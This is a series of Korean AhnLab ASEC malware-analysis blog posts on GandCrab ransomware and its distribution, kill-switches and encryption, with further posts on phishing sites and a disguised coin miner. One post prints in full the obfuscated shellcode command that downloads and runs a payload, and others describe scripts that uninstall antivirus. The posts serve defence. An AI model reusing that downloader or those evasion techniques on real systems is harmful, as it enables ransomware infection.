안랩 ASEC은 자바스크립트를 통한 갠드크랩 랜섬웨어 유포 방식관련하여 8월 29일자 ASEC블로그를 통해 공개하였다. (참고: http://asec.ahnlab.com/1152)

9월 4일자 '구글 검색 통해 안랩 V3 제거 유도하는 갠드크랩 랜섬웨어 발견' 제목의 보안뉴스 기사에 소개된 내용은 이러한 자바스크립트 파일이 유포되는 방식 중 하나를 나타낸다.

https://www.boannews.com/media/view.asp?idx=72715

구글 브라우저를 통해 한국어 웹으로 특정 단어를 검색 시, 상단에 노출되어 일반 사용자로 하여금 다운로드 및 실행을 유도하고 있다. 아래의 [그림-1]은 "petools"라는 단어를 한국어 웹으로 설정하여 검색 시, 갠드크랩 랜섬웨어 유포와 관련된 사이트가 노출된 것을 나타낸다.

Comments에 언급된 By marcelo 는 갠드크랩 악성코드관련 정보를 게시하는 특정 사람을 지칭하는 것으로 추정된다. (https://twitter.com/MarceloRivero/)

[그림-1] 구글 검색 상단에 위치한 갠드크랩 유포 사이트


아래의 [그림-2]는 해당 사이트에 방문 시, 다운로드를 유도하는 화면이다.

[그림-2] 사용자 클릭 유도화면

파란색 글씨의 다운로드 링크를 클릭 시, 아래와 같은 사이트로 접속하여 ZIP 형식의 압축파일이 다운로드 되며, 내부에는 JS 파일이 존재한다.

압축파일 내부의 아래의 JS 파일은 내부에 갠드크랩을 포함하는 악성파일로 V3 Lite 제품을 Uninstall 하는 기능 및 파워쉘을 통한 갠드크랩 다운로드 기능이 존재한다.

내부의 JS 파일을 V3에서는 "JS/GandCrab.S1"로 진단하며, 갠드크랩이 실행 시, 행위로도 차단이 가능하다. 검증되지 않은 사이트에서 파일을 다운로드 받는 경우, 사용자 주의가 필요하며 이러한 사례에서 처럼 JS 파일만 존재하는 경우, 악성코드로 의심하고 실행하지 않아야 한다.


Posted by 분석팀

안랩 ASEC은 최근 매일같이 기업사용자의 계정정보를 탈취하려는 피싱 사이트가 기승을 부리고 있는 것을 포착하였다최근에는 사용자를 속이기 위해 매우 정교해지고 있어 확인되지 않은 외부 URL 접근에 대한 각별한 주의가 필요하다.

[그림-1] 기존 유포 피싱 사이트

기존 피싱 사이트의 경우 상기 [그림-1]의 왼쪽 상단처럼 기업 로고만 도용하여 허술하게 제작되어 계정 입력란만 활성화가 되어있었다해당 사이트에서 연결된 페이지는 제작하지 않아 상기 그림의 빨간 박스안에 링크는 모두 비활성화 되어 클릭 되지 않는다해당 링크를 클릭시 다른 페이지로 연결되지 않아 사용자가 조금만 주의를 기울이면 정상적으로 서비스 되는 사이트가 아닌 것을 인지할 수 있었다하지만 비교적 최근 피싱 사이트는 사용자의 계정을 탈취하기 위해 정교하게 제작되어 URL을 확인하지 않는다면 비정상적인 것을 인지하기 어렵다.

[그림-2] 정상 사이트(), 피싱 사이트()

정상 사이트 URL

https://www.amazon.co.jp/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=jpflex&openid.claimed_id=...

피싱 사이트 URL

https://www.identify-safe-amzn.com-restoring.com/ap/signin?_encoding=UTF8&ignoreAuthState=1&openid.assoc_handle=jpflex&openid.claimed_id=...


상기 그림의 사이트는 URL을 제외하고는 생김새부터 기능까지 모두 구현된 피싱 사이트이다. 사용자가 URL을 확인하지 않고 계정정보를 입력하게 되면 다음 화면은 개인 정보를 입력 받는다. 사용자가 인지하지 못하고 모두 입력하게 된다면 공격자는 원하는 계정정보부터 개인정보까지 모두 획득하게 된다.


[그림-3] 입력받는 개인정보 번역 전(), ()


최신 피싱 트랜드는 기업 계정을 대상으로 진화하였다. URL에 메일주소를 담고 있는 것이 특징이며 로그인 기한까지 적어 두어 사용자에게 빠른 계정 정보 입력을 요청하고 있다.


[그림-4] 기업 계정 로그인 유도


이전에 없던 추가된 기능으로 유효하지 않은 비밀번호(: 1111, 1234)를 입력할 경우 비밀번호가 일치하지 않다는 경고문까지 띄우는 정교함이 더해졌다.

[그림-5] 로그인 실패 화면


비밀번호를 길게 입력할 경우 정상적으로 로그인이 되었다고 표시해주며, 기존에는 [그림-4] 화면으로 돌아갔으나, 최신 피싱사이트는 완벽을 위해 메일 뒤 주소로 리다이렉트를 해준다.

이메일

리다이렉트 URL

test@ahnlab.com

ahnlab.com

[-1] 리다이렉트 예시


[
그림-6] 계정 정보 탈취 후 리다이렉트 되는 정상 사이트

상기 그림과 같이 계정 정보 입력 후 정상사이트가 노출되기 때문에 사용자는 자신의 정보가 탈취된 지 인지하기 어렵다이와 같이 피싱 수법은 지속적으로 진화하고 있어 발신자가 불분명한 의심스러운 이메일이나 확인되지 않은 링크에 대해서는 열람하지 않도록 사용자의 각별한 주의가 요구된다.

Posted by 분석팀

안랩 ASEC은 지난 8/29자바스크립트 내에 포함된 GandCrab 랜섬웨어에 대해 분석 정보를 블로그에 게시하였으며 랜섬웨어 실행하는 2가지 방식 중 내부에 암호화된 형태로 포함된 갠드크랩은 4.3 버전이고, 파워쉘을 통한 다운로드(http://pastebin.com/raw/***) 방식에 의해 구동되는 갠드크랩의 버전은 4.4임을 확인할 수 있었다. (참고: http://asec.ahnlab.com/1152)

4.4버전은 파일리스(Fileless)로 동작한다는 것 이외에 현재까지 알려진 갠드크랩과 기능이 전체적으로 유사하였으며, 특이사항으로 암호화 차단(Kill-Switch)기능을 수행하는 lock 파일 존재 여부를 확인하는 코드가 재등장하였다. 단, 기존의 고정된 이름과 달리 매일매일 lock 파일명이 변경되어야 하는 한계가 존재한다. 갠드크랩 4.4에서 확인된 (암호화 차단 역할을 하는) lock 파일 생성 알고리즘은 [그림 1]과 같다. (해당 Kill-Switch 조건은 v4.3, v4.4 모두 동일한 방식)


[그림 1] lock 파일 생성 알고리즘 (v4.4)


lock 파일 생성 여부 확인은 갠드크랩 v4.4이 파일 암호화를 하기 전에 수행된다. 따라서 각 드라이브의 루트 경로에 해당 lock 파일이 있을 경우 파일 암호화는 수행되지 않는다. 파일 내용에 상관없이 파일 이름만 유효하면 암호화가 차단되는 기능을 수행한다.

예시) GetVolumeInformation 호출에 의해 확인된 볼륨시리얼 정보가 0x888A15A5인 사용자의 일 별로 다르게 생성되는 lock 파일명 정보

2018/09/01 () : 888a1242888a15aa19.lock

2018/09/02 () : 888a1242888a15aa7a.lock

2018/09/03 () : 888a1242888a15aa6b.lock


갠드크랩 4.4 lock 파일의 파일명을 정할 때 GetSystemTime API를 사용해서 로컬 시스템의 시간 정보를 xor 연산으로 사용하기 때문에 [그림 2]처럼 일별로 각기 다른 파일명의 존재 여부를 확인한다. 따라서 암호화 차단 기능을 수행하기 위해서는 매일 다른 파일명의 lock 파일을 생성해야 한다.


[그림 2] 일 별로 다른 lock 파일명


현재 안랩 제품에서는 스크립트 파일 및 갠드크랩 랜섬웨어를 아래와 같이 진단하고 있다.

유포 JS 파일

파일 진단명

JS/Gandcrab, JS/GandCrab.S1

랜섬웨어 실행파일

파일 진단명

Trojan/Win32.Gandcrab (2018.07.05.05)

행위 진단명

Malware/MDP.Ransom.M1171

파워쉘 스크립트

행위 진단명

Malware/MDP.Ransom.M1947


Posted by 분석팀

올해 초부터 등장한 GandCrab의 열기는 식을 줄 모르고있다. 지속적 변형으로 현재까지 v4.4로 업그레이드되어 유포 중임을 확인하였는데, 4버전 대의 GandCrab에서 특이한 점은 이전 버전들과 다르게 네트워크 통신이 없이도 파일 암호화를 수행한다는 것이다. 공개키를 사용하는 랜섬웨어에서는 C&C를 통해 피해 PC의 공개키를 공격자에게 전송하고, 그 키와 매칭이 되는 개인키는 공격자만이 알고 관리하는 방식이 보통이다. 그렇다면 공개키를 공격자에게 전송하지 않는 GandCrab v4.x는 어떻게 공격자가 개인키를 관리할 수 있을까?’에 대한 의문을 시작으로 자사에서는 6월 말부터 확인 된 v4.xGandCrab(v4.0, v4.1, v4.1.2, v4.1.3, v4.2, v4.2.1, v4.3, v4.4)의 암호화 방식을 분석하였다.

먼저 파일에 대한 암호화가 이루어지는 방식은 아래와 [그림1], [그림2]와 같다.

[그림 1 ] – 키가 생성되어 저장되는 정보


[그림 2 ] – 생성 된 키를 통해 파일을 암호화하는 방식


[그림1]에서 보이는 것과 같이 공개키(public)와 개인키(private)는 쌍을 이루는데 해당 GandCrab에서는 사용자 시스템에서 로컬 키 쌍을 만들고 해당 키 정보를 레지스트리에 저장한다.

이 때 공개키는 그대로 저장하지만, 개인키의 경우 공격자의 공개키로 암호화 한 Salsa20의 키(Key)와 벡터(Nonce)을 이용하여 암호화 한 후에 저장한다. 이 때 저장될 때에 암호화 된 Salsa20의 키, 벡터 및 암호화된 로컬 개인키를 함께 저장한다. 또한 이 정보는 Base64로 암호화되어 랜섬노트에 기록되어지기도 한다.

[그림2]와 같이 파일을 암호화 할 때는 각각의 파일마다 Salsa20 암호화에 필요한 키와 벡터를 생성하여 진행하는데, 이때 사용하는 키와 벡터는 로컬의 공개키로 암호화되어 파일 끝에 저장된다.

이 과정을 거꾸로 올라가 보면 공격자의 개인키 한 개만 알면 모든 키와 벡터를 알고 복호화를 진행 할 수 있다는 결론에 이른다. 상세한 단계는 아래와 같다.


[그림 3] – 공격자 개인키가 필요한 이유


굉장히 복잡한 알고리즘이지만 결국에는 공격자 개인키를 알면 해당 PC의 모든 암호화 된 파일을 복호화 할 수 있게 된다. 

Magniber 랜섬웨어의 경우, 키를 알고있는 공격자 입장에서 암호화 된 파일만 있어도 복호화가 가능했던 반면 이번 GandCrab v4.x에서는 암호화 된 파일 뿐아니라 감염 된 PC의 '로컬 개인키가 암호화되어 저장 된 레지스트리의 값' 혹은 '암호화 후 감염 시스템에 생성 되는 랜섬노트(KRAB-DECRYPT.txt)'정보가 함께 필요하다. 해당 데이터 정보에 파일 복호화를 위한 핵심인 암호화 된 로컬 개인키가 존재하기 때문이다. 

실제 공격자가 제공하는 GandCrab v4.x 복구툴 확인 결과, 로컬 개인키를 함께 전달받아 파일 복호화를 수행하는 것을 확인하였다. 공격자는 공격자 개인키를 가지고 있기 때문에 [그림2] 하단에 설명 된 과정을 통해 로컬 개인키를 구할 수 있다.

GandCrab v4.x 복구툴이 동작하는 과정은 아래와 같다.

[그림 4] - 복구툴 동작 과정


해당 GandCrab 류는 자사에서 아래와 같이 진단 중이다.

행위 진단 Malware/MDP.Ransom

파일 진단 Trojan/Win32.Gandcrab 


Posted by 분석팀

안랩 ASEC 에서는 국내로 유포되는 갠드크랩 랜섬웨어의 유포과정을 모니터링 중 갠드크랩 유포 스크립트에서 V3 Lite 제품에 대해 제거(Uninstall)를 유도하는 기능을 발견하였다. (V3 Lite 제품만을 타겟으로 함)

[그림 1] - 난독화된 스크립트 코드


유포 스크립트는 [그림 1]과 같이 난독화된 자바스크립트가 포함되어있으며, 난독화 해제 시 [그림 2]와 같은 자바스크립트의 메인 함수를 확인 할 수 있다.

[그림 2] - 복호화된 스크립트 코드


[그림 2]에 복호화된 자바스크립트는 두 가지 방법을 통해 갠드크랩 랜섬웨어를 실행한다. 2번 항목의 파워쉘을 이용한 방법으로 다운로드되는 갠드크랩의 경로는 http://pastebin.com/raw/**** 형태로 확인되었다. (상세한 동작방식은 기존에 작성된 http://asec.ahnlab.com/1141 참고) 갠드크랩 내부 버전은 모두 v4.3으로 확인되었다.

 갠드크랩 랜섬웨어 실행방식

 1. 내부 인코딩된 갠드크랩 실행파일을 사용자 시스템에 생성 및 실행

 2. 파워쉘 스크립트를 이용해 갠드크랩을 다운로드하여 실행

[표 1] - 스크립트 내부의 갠드크랩 실행방식 2가지


해당 유포 스크립트에서는 추가로 V3 프로그램 삭제를 유도하는 기능이 발견되었다. 유포 스크립트는 랜섬웨어를 실행하기 이전에 코드를 통하여 Windows Defender 서비스를 비활성화 및 V3 삭제를 유도한다. 해당 스크립트는 V3 삭제를 유도하기 위해, 해당 기능이 포함된 'tmtvgcslpw.js' 를 로컬에 생성하고 실행한다.


 [그림 3] - V3 삭제 유도기능이 포함된 자바스크립트(tmtvgcslpw.js)


[그림 3]은 V3 삭제 유도기능이 포함된 자바스크립트(tmtvgcslpw.js)의 난독화가 해제된 모습이다. 해당 스크립트는 V3 언인스톨러의 경로를 구한 후, 윈도우 버전에 따라 적합한 실행방식으로 언인스톨러를 실행한다. 언인스톨러를 실행한 이후 최대 60초까지 V3가 제거되었는지 확인 한다. 사용자가 제거 버튼을 60초 이내에 클릭할 경우, 즉시 갠드크랩 랜섬웨어가 실행된다.  


[그림 4] 스크립트에 의해 실행된 V3 제거 프로그램


유포스크립트는 아래 [표 2]와 같이 정상 문서 및 프로그램 이름으로 위장되어 유포되고 있어 첨부 파일로 전송받은 문서 실행 시 주의가 필요하다.

 유포 스크립트의 위장 파일명

 윈도우_10_스토어_오류.js

 무료_ppt_템플릿.js

 러브홀릭스_butterfly.js

 오토캐드_2014_키젠.js

 npdf_64_bit.js

[표 2] - 유포 스크립트의 위장 파일명


안랩 제품에서는 스크립트 파일 및 랜섬웨어를 아래와 같이 진단하고 있다. 갠드크랩 랜섬웨어 다운로드에 의한 동작 및 파워쉘을 통한 파일리스(Fileless) 형태 모두 행위차단이 가능하다.


유포 JS 파일

파일 진단명

JS/Gandcrab, JS/GandCrab.S1

랜섬웨어

실행파일

파일 진단명

Trojan/Win32.Gandcrab (2018.07.05.05)

행위 진단명

Malware/MDP.Ransom.M1171

파워쉘 스크립트

행위 진단명

Malware/MDP.Ransom.M1947


- Update (2018.08.30)

8월 30일자 확인된 "오토캐드_2014_키젠.js파일에서는 아래의 스크립트 코드에서 알 수 있듯이 파워쉘을 통한 다운로드 기능이 제거된 형태로 발견되었다. 내부의 인코딩된 갠드크랩을 생성하여 실행하는 기능만이 존재하며, V3Lite 제품에 대한 언인스톨 기능 등은 동일하다.


[그림 5] 파워쉘 부분이 제거된 8/30일자 변형


Posted by 분석팀

2018년 8월 1일 수집된 GandCrab(갠드크랩) v4.2.1 버전에는 안랩 V3 Lite 제품를 공격하는 기능이 추가되었다. 아래 부분은 GandCrab v4.2.1에서 이전 버전과 달라진 점이다.

  • 파일 외형 변경
  • 프로세스 할로잉을 통해 내부 핵심 GandCrab 파일 구동
  • Anti-VM 기능 삭제
  • V3 Lite 제품을 공격하는 코드 추가

특히 이번 v4.2.1 GandCrab 에서 가장 특징적인 부분은 안랩 V3 Lite 제품을 공격하는 코드가 추가되었다는 점인데, 파일 암호화 이후에 해당 기능이 동작하도록 하였다. 


V3 Lite 제품 공격 코드가 추가된 GandCrab

2018년 8월 2일에 신규 수집된 GandCrab v4.3 에서도 위와 동일한 V3 Lite 제품 공격 기능이 확인되었으며, V3 Lite 최신 버전 3.3.46.2 부터는 해당 공격에 영향을 받지 않는다.


GandCrab v4.2.1

행위 진단 Malware/MDP.Ransom

파일 진단 Trojan/Win32.Gandcrab (2018.08.01.09)

MD5         ccfee0f37b0e2952d8c77438fc1e5e13


GandCrab v4.3

행위 진단 Malware/MDP.Ransom

파일 진단 Trojan/Win32.Gandcrab (2018.07.10.05)

MD5         9f1aeca41d2da7ef2a441961077474f1


Posted by 분석팀

국내 터미널 연결 프로그램으로 위장한 가상 화폐 채굴 악성코드가 유포되고 있어 PC사용자들의 주의가 필요하다.


이 악성코드는 81일부터 등장한 악성코드로 기존의 OLE취약점이나 매크로등 알려진 방법을 가지고 유포되며 윈도우의 기본 프로그램인 ‘wscript.exe’를 이용해 악성코드가 다운로드 된다다운로드된 악성코드는 기존 터미널로 위장하기 위해 ‘등록정보 내용’을 똑같이 만들어 일반 사용자들이 알아채기 어렵도록 만들었다.



[그림 1.] 위장(좌)vs정상(우) 비교


뿐만 아니라 아래 번과 같이 리소스(.rsrc)섹션의 내용을 동일하게 만든 것을 확인할 수 있으며, 



[그림 2.] 정상과 악성의 리소스 섹션 정보 비교


악성의 번 부분에선 정상 프로그램의 Installer를 설치 시 생성되는 PE프로그램 일부를 리소스(.rsrc)섹션에 넣어 두었는데, 이는 AV업체의 진단을 우회하기 위한 것으로 추정된다.



[그림 3.] 악성코드의 내부 파일(②) & 이에 일치되는 정상 프로그램의 항목(우)


악성코드 내부는 아래와 같은 마이닝 풀(mining pool) 주소와 사용할 알고리즘(초기값: cryptonight) 등 프로그램 구동과 관련된 내용이 적혀 있으며 마이너 종류는 ‘NiceHash Miner’로 추정된다.



[그림 4.] 마이닝 풀 주소() , NiceHash Miner관련 문자열()


현재 V3는 아래와 같이 행위 탐지하고 있으며,
대상 샘플들은 진단명: Trojan/Win64.CoinMiner 로 진단하고 있다.



[그림 5.] 8월 6일 행위 탐지 룰로 차단된 Miner



참조 URL :
1) https://miner.nicehash.com/

2) https://www.netsarang.co.kr/products/xsh_overview.html

Posted by 분석팀

GandCrab(갠드크랩) 랜섬웨어는 진단을 회피하기 위해 파일 외형에 있어서 다양한 패커 사용을 통한 빠른 변화를 거듭하고 있으며, 지난 주 안랩 ASEC에서는 v4.0, v4.1, v4.1.2, v4.1.3 버전에 대한 암호화 차단(Kill-Switch) 툴을 ASEC블로그를 통해 배포하였다.(http://asec.ahnlab.com/1145) 해당 암호화 차단툴 배포 후, 등장한 v4.1.2 변종에서는 악성코드 내부에 자사에 대한 모욕적인 내용을 담고 있는 이미지 링크를 추가한 것과 함께 더 이상 차단 툴이 유효하지 않도록 관련 코드가 제거된 형태로 발견되었다.(http://asec.ahnlab.com/1146) 이후 국내 유포방식을 모니터링 하던 중 7월 24일부터는 RigEK(Rig Exploit Kit)을 통한 새로운 v4.2 버전의 유포가 확인되었다. GandCrab v2.x와 v3.x 버전이 RigEK를 통해 유포된 것은 올 해 4월에 기 알려진 상태이나, 최신 v4.2 버전이 RigEK를 통해 유포된 것이 확인된 것은 이번이 처음이다. 새롭게 확인된 버전의 기능은 기존과 크게 다르지 않지만, Anti-VM 기능이 추가된 것이 특징이다.(암호화 차단툴 - X, 안랩 모욕 이미지 링크 - O) Anti-VM기능은 시스템의 'CPU 개수' 및 사용중인 운영체제 설치 '드라이브의 총 사용량' 등을 체크하여 동작여부가 결정되는 구조이다. 조건에 따라 10분간 대기(Sleep() 함수)한 후에 암호화를 수행하는 경우와 대기없이 바로 암호화를 수행하는 경우, 암호화 작업없이 바로 종료하는 경우 3가지로 나뉜다.



1. Anti-VM기능이 추가 된 GandCrab 4.2


4.2버전의 GandCrab에서는 기존 4.1버전에 없었던 기능이 추가되었는데, 특정 환경에서는 동작하지 못하도록 하는 Anti-VM이 바로 그것이다.


아래와 같이 Anti-VM을 확인하는 코드는 복잡한 연산을 수행한 뒤의 결과 값으로 확인하게 되는데, 이 때 사용되는 값들 중 핵심 요소는 사용중인 디스크 크기, 현재 시스템의 CPU개수 및 시스템이 부팅된 후 흐른 시간이다. 이 값들을 조합하여 특정 연산 후의 최종 데이터로 암호화 여부와 sleep 함수를 수행할 것인지를 결정하게 된다.


일반적으로 가상머신 VM(Virtual Machine)환경에서는 보통 1개의 CPU와 디스크 사용량이 적은 환경으로 세팅되기 때문에 암호화 행위가 발행하지 않을 수 있다.




[그림 1] - 안티VM 체크하는 코드 루틴



아래의 [표 1]은 시스템이 부팅되고부터 10분 경과 된 후 해당 GandCrab 4.2 버전이 실행되었을 경우와 1시간이 경과한 후 실행되었을 경우 각각 암호화가 수행되는 기준 정보를 보여준다. 부팅된 시간이 오래될 수록 감염 조건에 부합하는 현재 디스크 사용량 크기 조건은 줄어든다. 예를들어 (대부분의 일반 사용자 환경인) CPU가 8개인 PC를 부팅하여 익스플로잇이 발생 될 수 있는 페이지에 접근 후 GandCrab 4.2가 실행되는데까지 1시간이 걸렸다고 했을 때 디스크 사용용량이 50G이상인 경우 바로 암호화가 수행되며, 10G인 경우는 10분간의 대기 후에 암호화가 수행된다.


  

10 mins after the system boots

CPU Counts

Minimum disk space required

(used disk space)

Perform encryption after 10

mins using sleep() funtion

Immediate encryption

without sleep() funtion

1

28GB

537GB

2

12GB

108GB

4

0GB

(Perform encryption without and conditions)

108GB

8

28GB

1 hours after the system boots

CPU Counts

Minimum disk space required

(used disk space)

Perform encryption after 10

mins using sleep() funtion

Immediate encryption

without sleep() funtion

1

28GB

108GB

2

12GB

108GB

4

0GB

(Perform encryption without and conditions)

28GB

8

23GB

 

[ 1] - 암호화 조건



2. Rig Exploit Kit을 통해 유포되는 GandCrab v4.2


[그림 2]는 Rig Exploit kit으로 탐지된 GandCrab v4.2 랜섬웨어의 탐지 로그이며, “b37.exe”를 다운로드 및 실행하는 기능을 수행한다. "b37.exe"파일이 새롭게 확인된 GandCrab v4.2이며, 함께 수집된 플래쉬 파일은 'CVE-2018-4878' 취약점을 갖는 것으로 확인되었다. [그림 3]은 취약점을 갖는 플래쉬 파일(mifxfb67.swf)의 쉘코드가 실행하는 커맨드 명령을 나타낸다.



[그림 2] - RigEK 이용한 GandCrab v4.2 탐지로그




[그림 3] - 플래시 파일 내부의 쉘코드


 

cmd.exe /q /c cd /d "%tmp%" && echo function _(k,e){for(var l=0,n,c=[],F=255,S=String,q=[],b=0;256^>b;b++)c[b]=b;ta="char"+"CodeAt";for(b=0;256^>b;b++)l=l+c[b]+e[ta](b%e.length)

^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],

c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q["join"]("")};

/**/function V(k){var y=a(e+"."+e+/**/"Reques\x74.5.1");T="G";y["se"+"tProxy"](n);y["o"+"pen"](T+"ET",k(1),1);y.Option(n)=k(2);y.send();y["Wai"+"tForResponse"]();W="respo"+"nseText";

if(40*5==y.status) return _(y[W],k(n))};try{M="WSc";u=this[M+"ript"],o="Object";P=(""+u).split(" ")

[1],M="indexOf",m=u.Arguments,e="WinHTTP",Z="cmd",U="DEleTefIle",a=Function/**/("QW","return

 u.Create"+o+"(QW)"),q=a(P+"ing.FileSystem"+o),s=a("ADO"+"DB.Stream"),j=a("W"+P+".Shell"),

x="b"+Math.floor(Math.random() * 57)+".",p="exe",n=0,K=u[P+"FullName"],E="."+p;s.Type=2;s.

Charset="iso-8859-1";try{v=V(m)}catch(W){v=V(m)};Q="PE\x00\x00";d=v.charCodeAt(21+v[M](Q));s.Open();h="dll";if(037^<d){var z=1;x+=h}else x+=p;s.WriteText(v);s.savetofile(x,2);C=" /c ";s.Close();i="regs";z^&^&(x=i+"vr32"+E+" /s "+x);j["run"](Z+E+C+x,0)}catch(EE){};q[U](K);>

T32.tmp && start wscript //B //E:JScript T32.tmp "


[ 2] - 쉘코드에서 실행되는 명령

 


CVE-2018-4878 취약점을 예방하기 위해서는 플래시 플레이어 버전을 항상 최신으로 업데이트 해주어야 한다. 또한 자사에서는 해당 GandCrab v4.2 랜섬웨어를 아래와 같이 진단 중이다.


 

SWF 플래시 파일

GandCrab 4.2 실행 파일

행위진단

Malware/MDP.DriveByDownload

Malware/MDP.Ransom

파일진단

SWF/Cve-2018-4878.Exp.3

Trojan/Win32.Gandcrab

MD5 HASH

aca9bc42091691e4b94f6a70e4f2c55e

0c8177d87b821af30756cd2edc9b939a


[표 3] - 자사 제품 진단 정보

Posted by 분석팀

자사에서는 지속적으로 업데이트되는 GandCrab 랜섬웨어의 내부 버전을 확인하여 그에 대한 대응을 신속히 하고있다. 오늘도 버전 업데이트 된 4.1.3이 확인되어 지난 블로그에 이에 대한 kill-switch가 가능한 툴도 즉각 새로 제작하여 업로드하였다. (http://asec.ahnlab.com/1145)


하지만 모니터링 중 지금까지 공유되었던 유형과는 다른 GandCrab이 발견되었는데, 이 유형은 특정 뮤텍스를 생성한다. 뮤텍스명 생성시 사용하는 스트링에 자사인 ahnlab만을 언급하고 있는 점이 눈에 띈다.


"%X ahnlab http://memesmix.net/media/created/dd0doq.jpg" 스트링을 이용하여 기존과 같은 커스텀 salsa20 알고리즘으로 “Global\*.lock”명의 뮤텍스를 생성한다.


[그림 - 1] 새로운 뮤텍스 생성 알고리즘



스트링에 포함된 URL주소 접속 시에는 아래와 같이 특정 의미를 담은 그림과 러시아 문구를 확인 할 수 있다해당 러시아어는 아래와 같은 '모욕'의 의미가 있는 것으로 확인되었다.


- I added you to the Gay list, so far i used the pencil.



[그림 - 2] URL 접속 시 확인되는 그림


이 유형의 내부 버전은 기존과 같은 4.1.2이지만 .lock 파일을 생성하여 kill-switch를 가능하게 했던 기존의 코드가 없는 버전으로 확인된다. Kill-switch가 가능했던 유형에서 제작자가 사용하였던 스트링인 "%X fortinet & ahnlab, mutex is also kill-switch not only lockfile ;)" 의 뜻이 이해되는 대목이다


GandCrab이 다양한 유형으로 유포되고 있음을 알 수 있으며 해당 유형 역시 자사 제품의 행위 및 파일 진단으로 모두 탐지 가능하다.


  • 행위진단: Malware/MDP.Ransom
  • 파일진단: Win-Trojan/Gandcrab04.Exp (2018.07.17.00)
  • MD5: 435f58209f1a5770cc5c4795628fd85e


Posted by 분석팀

2018년 7월 9일 보안업체 Fortinet과 7월 13일 안랩에서 GandCrab v4.1.1에 대한 암호화 차단방법을 공유하였다. 이후 7월 17일 아래와 같이 GandCrab 4.1.2 버전이 새롭게 확인되었으며, 악성코드 내부에는 Fortinet 과 AhnLab에 대해 조롱하는 듯한 문구가 삽입되었다.


"#fortinet & #ahnlab, mutex is also kill-switch not only lockfile ;)"


[참고] https://twitter.com/MarceloRivero/status/1019259361259028480?s=09


4.1.2 버전에서는 단순히 해당 문구가 추가된 것 외에 암호화 차단의 핵심이 되는 *.lock 파일이름 생성 알고리즘이 복잡하게 변경되었다. 파일이름의 길이도 기존 8바이트에서 20바이트로 확장되었다. 안랩 ASEC에서는 변경된 파일이름 생성 알고리즘이 알려진 Salsa20 을 일부 수정한 Custom Salsa20 으로 확인하였으며, 이러한 정보를 바탕으로 새로운 암호화 차단툴을 제작하였다.


아래의 그림은 새로운 버전 4.1.2에서 *.lock 파일을 생성하는 코드를 나타내며, 붉은색 표시부분이 새롭게 추가된 것으로 기존의 볼륨정보 외에 Salsa20 함수를 통해 lock 파일이름을 생성하는 것을 알 수 있다.


[그림-1] GandCrab v4.1.2의 lock 파일생성



Salsa20 암호화 시 사용되는 Key, Vector 정보는 다음과 같다.

  • KEY[] (16진수): 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
  • VEC[] (16진수): 01 02 03 04 05 06 07 08
  • 입력값: "380978EA fortinet & ahnlab, mutex is also kill-switch not only lockfile ;)" (단, 380978EA 값은 드라이브 볼륨을 통해 생성된 정보로 사용자마다 상이)

변경된 파일이름만 특정 경로에 존재하면, 여전히 암호화 차단(Kill-Switch)이 가능함을 확인하였으며, lock 파일의 생성위치 및 사용방법은 기존과 동일하며 아래와 같다.


폴더: CSIDL_COMMON_APPDATA

  • Win XP: C:\Documents and Settings\All Users\Application Data
  • Win 7, 8, 10: C:\ProgramData

파일: 8A5BA4B9C369950A5FEC.lock (예제)

툴 사용방법

  • 첨부한 실행파일을 다운로드 받은 후, 오른쪽 마우스 클릭하여 '관리자 권한으로 실행'
  • 아래와 같이 해당 폴더(Common AppData)에 *.lock 파일이 생성됨을 확인


V3제품에서도 현재 유포되는 GandCrab v4.1.2 유형에 대해 아래와 같이 진단/대응하고 있다. 안랩 ASEC은 국내에 유포 중인 GandCrab 랜섬웨어 관련하여 지속적인 모니터링을 수행하고 있으며, 새로운 버전도 V3제품에서는 사전 대응이 가능한 상황이다.

  • 행위진단: Malware/MDP.Ransom
  • 파일진단: Win-Trojan/Gandcrab04.Exp (2018.07.17.00)
  • MD5: f153ac5527a3e0bc3e663b8e953cc529

국내에 유포되는 GandCrab 랜섬웨어는 이력서 혹은 정상 프로그램으로 위장하여 사용자 클릭을 유도하는 형태임을 확인하였으며, 아래와 같은 파일명들이 사용되고 있다.


- \안녕하세요 입사지원하는 임정연입니다\임정연\임정연\unclej.exe

- micro_office_2010.exe

- 쯔꾸르_게임.exe

- 뿌요뿌요_테트리스.exe

- 포토_리커버리.exe

Posted by 분석팀